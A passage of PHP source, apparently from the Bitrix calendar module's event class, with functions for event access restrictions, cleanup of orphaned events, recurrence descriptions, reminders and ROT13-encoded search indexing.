				&& $curUserId != $event['CREATED_BY'])
			{
				$sectId = $event['SECT_ID'];
				if (!$event['ACCESSIBILITY'])
					$event['ACCESSIBILITY'] = 'busy';

				if ($settings === false)
				{
					$settings = CCalendar::GetSettings(array('request' => false));
				}
				$private = $event['PRIVATE_EVENT'] && $event['CAL_TYPE'] == 'user';
				$isManager = (!$private && CCalendar::IsIntranetEnabled() && Loader::includeModule('intranet') && $event['CAL_TYPE'] == 'user' && $settings['dep_manager_sub']) && Bitrix\Calendar\Util::isManagerForUser($curUserId, $event['OWNER_ID']);

				if ($private || (!$isManager && !CCalendarSect::CanDo('calendar_view_full', $sectId)))
				{
					$event = self::ApplyAccessRestrictions($event, $userId);
				}
			}

			$skipTime = $event['DT_SKIP_TIME'] === 'Y';
			$fromTs = CCalendar::Timestamp($event['DATE_FROM'], false, !$skipTime);
			$toTs = CCalendar::Timestamp($event['DATE_TO'], false, !$skipTime);
			if ($event['DT_SKIP_TIME'] !== 'Y')
			{
				$fromTs -= $event['~USER_OFFSET_FROM'];
				$toTs -= $event['~USER_OFFSET_TO'];
			}
			$result[] = array(
				'ID' => $event['ID'],
				'NAME' => $event['NAME'],
				'DATE_FROM' => CCalendar::Date($fromTs, !$skipTime, false),
				'DATE_TO' => CCalendar::Date($toTs, !$skipTime, false),
				'DT_FROM_TS' => $fromTs,
				'DT_TO_TS' => $toTs,
				'CREATED_BY' => $userId,
				'DETAIL_TEXT' => '',
				'USER_ID' => $userId
			);
		}

		// Sort by DATE_FROM_TS_UTC
		usort($result, array('CCalendar', '_NearestSort'));

		CCalendar::TempUser($tempUser, false);
		return $result;
	}

	public static function DeleteEmpty()
	{
		global $DB;
		$strSql = 'SELECT CE.ID, CE.LOCATION
			FROM b_calendar_event CE
			LEFT JOIN b_calendar_event_sect CES ON (CE.ID=CES.EVENT_ID)
			WHERE CES.SECT_ID is null';
		$res = $DB->Query($strSql, false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);

		$strItems = "0";
		while($arRes = $res->Fetch())
		{
			$loc = $arRes['LOCATION'];
			if ($loc && strlen($loc) > 5 && substr($loc, 0, 5) == 'ECMR_')
			{
				$loc = CCalendar::ParseLocation($loc);
				if ($loc['mrid'] !== false && $loc['mrevid'] !== false) // Release MR
					CCalendar::ReleaseLocation($loc);
			}
			$strItems .= ",".IntVal($arRes['ID']);
		}

		// Clean from 'b_calendar_event'
		if ($strItems != "0")
			$DB->Query("DELETE FROM b_calendar_event WHERE ID in (".$strItems.")", false,
				"FILE: ".__FILE__."<br> LINE: ".__LINE__);

		CCalendar::ClearCache(array('section_list', 'event_list'));
	}

	public static function CleanEventsWithDeadParents()
	{
		global $DB;
		$strSql = "SELECT PARENT_ID from b_calendar_event where PARENT_ID in (SELECT ID from b_calendar_event where MEETING_STATUS='H' and DELETED='Y') AND DELETED='N'";
		$res = $DB->Query($strSql, false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);

		$strItems = "0";
		while($res = $res->Fetch())
		{
			$strItems .= ",".intval($res['ID']);
		}

		if ($strItems != "0")
		{
			$strSql =
				"UPDATE b_calendar_event SET ".
				$DB->PrepareUpdate("b_calendar_event", array("DELETED" => "Y")).
				" WHERE PARENT_ID in (".$strItems.")";
			$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
		}
		CCalendar::ClearCache(array('section_list', 'event_list'));
	}

	public static function CheckEndUpdateAttendeesCodes($event)
	{
		if ($event['ID'] > 0 && $event['IS_MEETING'] && empty($event['ATTENDEES_CODES']) && is_array($event['~ATTENDEES']))
		{
			$event['ATTENDEES_CODES'] = array();
			foreach($event['~ATTENDEES'] as $attendee)
			{
				if (intval($attendee['USER_ID']) > 0)
				{
					$event['ATTENDEES_CODES'][] = 'U'.IntVal($attendee['USER_ID']);
				}
			}
			$event['ATTENDEES_CODES'] = array_unique($event['ATTENDEES_CODES']);

			global $DB;
			$strSql =
				"UPDATE b_calendar_event SET ".
				"ATTENDEES_CODES='".implode(',', $event['ATTENDEES_CODES'])."'".
				" WHERE PARENT_ID=".IntVal($event['ID']);
			$DB->Query($strSql, false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);
			CCalendar::ClearCache(array('event_list'));
		}
		return $event['ATTENDEES_CODES'];
	}

	public static function CanView($eventId, $userId)
	{
		Loader::includeModule("calendar");
		$event = CCalendarEvent::GetList(
			array(
				'arFilter' => array(
					"ID" => $eventId,
				),
				'parseRecursion' => false,
				'fetchAttendees' => true,
				'checkPermissions' => true,
				'userId' => $userId,
			)
		);

		if (!$event || !is_array($event[0]))
		{
			$event = CCalendarEvent::GetList(
				array(
					'arFilter' => array(
						"PARENT_ID" => $eventId,
						"CREATED_BY" => $userId
					),
					'parseRecursion' => false,
					'fetchAttendees' => true,
					'checkPermissions' => true,
					'userId' => $userId,
				)
			);
		}

		if ($event && is_array($event[0]))
		{
			// Event is not partly accessible - so it was not cleaned before by ApplyAccessRestrictions
			if (isset($event[0]['DESCRIPTION']) || isset($event[0]['IS_MEETING']) || isset($event[0]['LOCATION']))
				return true;
		}

		return false;
	}

	public static function GetEventUserFields($event)
	{
		global $USER_FIELD_MANAGER;
		if ($event['PARENT_ID'])
		{
			$UF = $USER_FIELD_MANAGER->GetUserFields("CALENDAR_EVENT", $event['PARENT_ID'], LANGUAGE_ID);
		}
		else
		{
			$UF = $USER_FIELD_MANAGER->GetUserFields("CALENDAR_EVENT", $event['ID'], LANGUAGE_ID);
		}
		return $UF;
	}

	public static function SetExDate($exDate = array(), $untilTimestamp = false)
	{
		if ($untilTimestamp && !empty($exDate) && is_array($exDate))
		{
			$exDateRes = array();
			foreach($exDate as $date)
			{
				if (CCalendar::Timestamp($date) <= $untilTimestamp)
					$exDateRes[] = $date;
			}
			$exDate = $exDateRes;
		}

		return implode(';', $exDate);
	}

	public static function GetEventsByRecId($recurrenceId, $checkPermissions = true)
	{
		if ($recurrenceId > 0)
		{
			$events = CCalendarEvent::GetList(
				array(
					'arFilter' => array(
						"RECURRENCE_ID" => $recurrenceId,
						"DELETED" => "N"
					),
					'parseRecursion' => false,
					'fetchAttendees' => false,
					'checkPermissions' => $checkPermissions,
					'setDefaultLimit' => false
				)
			);
			return $events;
		}
		return array();
	}

	public static function GetEventCommentXmlId($event)
	{
		if (is_array($event['RELATIONS']) && array_key_exists('COMMENT_XML_ID', $event['RELATIONS']) && $event['RELATIONS']['COMMENT_XML_ID'])
		{
			$commentXmlId = $event['RELATIONS']['COMMENT_XML_ID'];
		}
		else
		{
			$eventCommentId = $event['PARENT_ID'] ? $event['PARENT_ID'] : $event['ID'];
			$commentXmlId = "EVENT_".$eventCommentId;

			if (CCalendarEvent::CheckRecurcion($event))
			{
				// We have reccurent event which was created from another reccurent event
				if ($event['RECURRENCE_ID'])
				{
					$commentXmlId = "EVENT_".$event['RECURRENCE_ID'];
					$commentXmlId .= '_'.CCalendar::Date(CCalendar::Timestamp($event['DATE_FROM']), false);
				}
				else
				{
					if (CCalendar::Date(CCalendar::Timestamp($event['DATE_FROM']), false) !== CCalendar::Date(CCalendar::Timestamp($event['~DATE_FROM']), false) && $event['RINDEX'] > 0)
						$commentXmlId .= '_'.CCalendar::Date(CCalendar::Timestamp($event['DATE_FROM']), false);
				}
			}
		}

		return $commentXmlId;
	}

	public static function ExtractDateFromCommentXmlId($xmlId = '')
	{
		$date = false;
		if ($xmlId)
		{
			$xmlAr = explode('_', $xmlId);
			if (is_array($xmlAr) && isset($xmlAr[2]) && $xmlAr[2])
			{
				$date = CCalendar::Date(CCalendar::Timestamp($xmlAr[2]), false);
			}
		}
		return $date;
	}

	public static function GetRRULEDescription($event, $html = false, $showUntil = true)
	{
		$res = '';
		if($event['RRULE'])
		{
			if(!is_array($event['RRULE']))
				$event['RRULE'] = CCalendarEvent::ParseRRULE($event['RRULE']);

			switch($event['RRULE']['FREQ'])
			{
				case 'DAILY':
					if($event['RRULE']['INTERVAL'] == 1)
						$res = GetMessage('EC_RRULE_EVERY_DAY');
					else
						$res = GetMessage('EC_RRULE_EVERY_DAY_1', array('#DAY#' => $event['RRULE']['INTERVAL']));
					break;
				case 'WEEKLY':
					$daysList = array();
					foreach($event['RRULE']['BYDAY'] as $day)
						$daysList[] = GetMessage('EC_'.$day);
					$daysList = implode(', ', $daysList);
					if($event['RRULE']['INTERVAL'] == 1)
						$res = GetMessage('EC_RRULE_EVERY_WEEK', array('#DAYS_LIST#' => $daysList));
					else
						$res = GetMessage('EC_RRULE_EVERY_WEEK_1', array('#WEEK#' => $event['RRULE']['INTERVAL'], '#DAYS_LIST#' => $daysList));
					break;
				case 'MONTHLY':
					if($event['RRULE']['INTERVAL'] == 1)
						$res = GetMessage('EC_RRULE_EVERY_MONTH');
					else
						$res = GetMessage('EC_RRULE_EVERY_MONTH_1', array('#MONTH#' => $event['RRULE']['INTERVAL']));
					break;
				case 'YEARLY':
					if($event['RRULE']['INTERVAL'] == 1)
						$res = GetMessage('EC_RRULE_EVERY_YEAR', array('#DAY#' => $event['FROM_MONTH_DAY'], '#MONTH#' => $event['FROM_MONTH']));
					else
						$res = GetMessage('EC_RRULE_EVERY_YEAR_1', array('#YEAR#' => $event['RRULE']['INTERVAL'], '#DAY#' => $event['FROM_MONTH_DAY'], '#MONTH#' => $event['FROM_MONTH']));
					break;
			}

			if ($html)
				$res .= '<br>';
			else
				$res .= ', ';

			if (isset($event['~DATE_FROM']))
			{
				$res .= GetMessage('EC_RRULE_FROM', array('#FROM_DATE#' => CCalendar::Date(CCalendar::Timestamp($event['~DATE_FROM']), false)));
			}
			else
			{
				$res .= GetMessage('EC_RRULE_FROM', array('#FROM_DATE#' => CCalendar::Date(CCalendar::Timestamp($event['DATE_FROM']), false)));
			}

			if($showUntil && $event['RRULE']['UNTIL'] != CCalendar::GetMaxDate())
			{
				$res .= ' '.GetMessage('EC_RRULE_UNTIL', array('#UNTIL_DATE#' => CCalendar::Date(CCalendar::Timestamp($event['RRULE']['UNTIL']), false)));
			}
			elseif($showUntil && $event['RRULE']['COUNT'] > 0)
			{
				$res .= ', '.GetMessage('EC_RRULE_COUNT', array('#COUNT#' => $event['RRULE']['COUNT']));
			}
		}

		return $res;
	}

	public static function ExcludeInstance($eventId, $excludeDate)
	{
		global $CACHE_MANAGER;
		$eventId = intval($eventId);
		$excludeDateTs = CCalendar::Timestamp($excludeDate);
		$excludeDate = CCalendar::Date($excludeDateTs, false);

		$event = CCalendarEvent::GetList(
			array(
				'arFilter' => array(
					"ID" => $eventId,
					"DELETED" => "N"
				),
				'parseRecursion' => false,
				'fetchAttendees' => true,
				'setDefaultLimit' => false
			)
		);
		if ($event && is_array($event[0]))
			$event = $event[0];

		if ($event && CCalendarEvent::CheckRecurcion($event) && $excludeDate)
		{
			$excludeDates = CCalendarEvent::GetExDate($event['EXDATE']);
			$excludeDates[] = $excludeDate;

			$id = CCalendar::SaveEvent(array(
				'arFields' => array(
					'ID' => $event['ID'],
					'DATE_FROM' => $event['DATE_FROM'],
					'DATE_TO' => $event['DATE_TO'],
					'EXDATE' => CCalendarEvent::SetExDate($excludeDates)
				),
				'silentErrorMode' => false,
				'recursionEditMode' => 'skip'
			));

			foreach($event['~ATTENDEES'] as $attendee)
			{
				if ($attendee['STATUS'] == 'Y')
				{
					if ($event['DT_SKIP_TIME'] !== 'Y')
					{
						$excludeDate = CCalendar::Date(CCalendar::DateWithNewTime(CCalendar::Timestamp($event['DATE_FROM']), $excludeDateTs));
					}

					$CACHE_MANAGER->ClearByTag('calendar_user_'.$attendee["USER_ID"]);
					CCalendarNotify::Send(array(
						"mode" => 'cancel_this',
						"name" => $event['NAME'],
						"from" => $excludeDate,
						"guestId" => $attendee["USER_ID"],
						"eventId" => $event['PARENT_ID'],
						"userId" => isset($event['MEETING']['MEETING_CREATOR']) ? $event['MEETING']['MEETING_CREATOR'] : $event['MEETING_HOST'],
						"fields" => $event
					));
				}
			}
		}
	}

	public static function GetTextReminders($valueList = array())
	{
		if (is_array($valueList))
		{
			foreach($valueList as $i => $value)
			{
				$text = '';
				if($value['type'] == 'min')
				{
					$value['text'] = Loc::getMessage('EC_REMIND_VIEW_'.$value['count']);
					if(!$value['text'])
					{
						$value['text'] = Loc::getMessage('EC_REMIND_VIEW_MIN_COUNT', array('#COUNT#' => intval($value['count'])));
					}
				}
				elseif($value['type'] == 'hour')
				{
					$value['text'] = Loc::getMessage('EC_REMIND_VIEW_HOUR_COUNT', array('#COUNT#' => intval($value['count'])));
				}
				elseif($value['type'] == 'day')
				{
					$value['text'] = Loc::getMessage('EC_REMIND_VIEW_DAY_COUNT', array('#COUNT#' => intval($value['count'])));
				}
				$valueList[$i] = $value;
			}
		}
		return $valueList;
	}

	public static function getDiskUFFileNameList($valueList = array())
	{
		$result = array();

		if (
			!empty($valueList)
			&& is_array($valueList)
			&& Loader::includeModule('disk')
		)
		{
			$attachedIdList = array();
			foreach($valueList as $value)
			{
				list($type, $realValue) = FileUserType::detectType($value);
				if($type == FileUserType::TYPE_NEW_OBJECT)
				{
					$file = \Bitrix\Disk\File::loadById($realValue, array('STORAGE'));
					$result[] = strip_tags($file->getName());
				}
				else
				{
					$attachedIdList[] = $realValue;
				}
			}

			if(!empty($attachedIdList))
			{
				$attachedObjects = AttachedObject::getModelList(array(
					'with' => array('OBJECT'),
					'filter' => array(
						'ID' => $attachedIdList
					),
				));
				foreach($attachedObjects as $attachedObject)
				{
					$file = $attachedObject->getFile();
					$result[] = strip_tags($file->getName());
				}
			}
		}

		return $result;
	}

	public static function getSearchIndexContent($eventId)
	{
		$res = '';
		if (intval($eventId) > 0)
		{
			$events = \CCalendarEvent::getList(
				array(
					'arFilter' => array(
						"ID" => $eventId,
						"DELETED" => "N"
					),
					'parseRecursion' => false,
					'fetchAttendees' => true,
					'checkPermissions' => false,
					'setDefaultLimit' => false
				)
			);
			$res = is_array($events[0]) && is_array($events[0]) ? self::formatSearchIndexContent($events[0]) : '';
		}
		return $res;
	}

	public static function getSearchIndexContentBatch($eventIdList = array())
	{
		$res = array();
		if (is_array($eventIdList))
		{
			$events = \CCalendarEvent::getList(
				array(
					'arFilter' => array(
						"ID" => $eventIdList,
						"DELETED" => "N"
					),
					'parseRecursion' => false,
					'fetchAttendees' => true,
					'checkPermissions' => false,
					'setDefaultLimit' => false
				)
			);

			foreach($events as $event)
			{
				$res[$event['ID']] = self::formatSearchIndexContent($event);
			}
		}
		return $res;
	}

	public static function updateSearchIndex($eventIdList = array(), $params = array())
	{
		global $DB;

		if (isset($params['events']))
		{
			$events = $params['events'];
		}
		else
		{
			if (!is_array($eventIdList))
				$eventIdList = array($eventIdList);

			$events = \CCalendarEvent::getList(
				array(
					'arFilter' => array(
						"ID" => $eventIdList,
						"DELETED" => false
					),
					'parseRecursion' => false,
					'fetchAttendees' => true,
					'checkPermissions' => false,
					'setDefaultLimit' => false
				)
			);
		}

		if (is_array($events))
		{
			foreach($events as $event)
			{
				$content = self::formatSearchIndexContent($event);
				$strSql = "UPDATE b_calendar_event SET ".
					$DB->PrepareUpdate("b_calendar_event", array('SEARCHABLE_CONTENT' => $content)).
					" WHERE ID=".IntVal($event['ID']);
				$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
			}
		}
	}

	public static function formatSearchIndexContent($entry = array())
	{
		$content = '';
		if (!empty($entry))
		{
			$content = static::prepareToken($entry['NAME'].' '.$entry['DESCRIPTION']);

			if ($entry['IS_MEETING'])
			{
				if(!empty($entry['~ATTENDEES']))
				{
					foreach($entry['~ATTENDEES'] as $user)
					{
						$content .= ' '.static::prepareToken($user['DISPLAY_NAME']);
					}
				}

				if(!empty($entry['ATTENDEES_CODES']))
				{
					$content .= ' '.static::prepareToken(join(' ', Bitrix\Socialnetwork\Item\LogIndex::getEntitiesName($entry['ATTENDEES_CODES'])));
				}
			}
			else
			{
				$content .= ' '.static::prepareToken(CCalendar::GetUserName($entry['CREATED_BY']));
			}

			try {
				if (!empty($entry['UF_WEBDAV_CAL_EVENT'])
					&& \Bitrix\Main\Config\Option::get('disk', 'successfully_converted', false)
				)
				{
					$fileNameList = self::getDiskUFFileNameList($entry['UF_WEBDAV_CAL_EVENT']);
					if (!empty($fileNameList))
					{
						$content .= ' '.static::prepareToken(join(' ', $fileNameList));
					}
				}
			}
			catch (RuntimeException $e) {
			}

			try {
				if (!empty($entry['UF_CRM_CAL_EVENT']) && Loader::includeModule('crm'))
				{
					$uf = $entry['UF_CRM_CAL_EVENT'];

					foreach ($uf as $item)
					{
						$crmElement = explode('_', $item);
						$type = $crmElement[ 0 ];

						$typeId = \CCrmOwnerType::ResolveID(\CCrmOwnerTypeAbbr::ResolveName($type));
						$title = \CCrmOwnerType::GetCaption($typeId, $crmElement[ 1 ]);

						$index[] = $title;
						$content .= ' '.static::prepareToken($title);
					}
				}
			}
			catch (RuntimeException $e) {
			}
		}

		return $content;
	}

	public static function GetCount()
	{
		global $DB;
		$count = 0;
		$res = $DB->Query('select count(*) as c  from b_calendar_event', false, "File: ".__FILE__."<br>Line: ".__LINE__);

		if($res = $res->Fetch())
		{
			$count = $res['c'];
		}

		return $count;
	}

	public static function updateColor($eventId, $color = '')
	{
		global $DB;
		$strSql = "UPDATE b_calendar_event SET ".
			$DB->PrepareUpdate("b_calendar_event", array('COLOR' => $color)).
			" WHERE ID=".IntVal($eventId);
		$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
	}

	/**
	 * Applies ROT13 transform to search token, in order to bypass default mysql search blacklist.
	 * @param string $token Search token.
	 * @return string
	 */
	public static function prepareToken($token)
	{
		return str_rot13($token);
	}

	public static function isFullTextIndexEnabled()
	{
		return COption::GetOptionString("calendar", "~ft_b_calendar_event", false);
	}
}
?>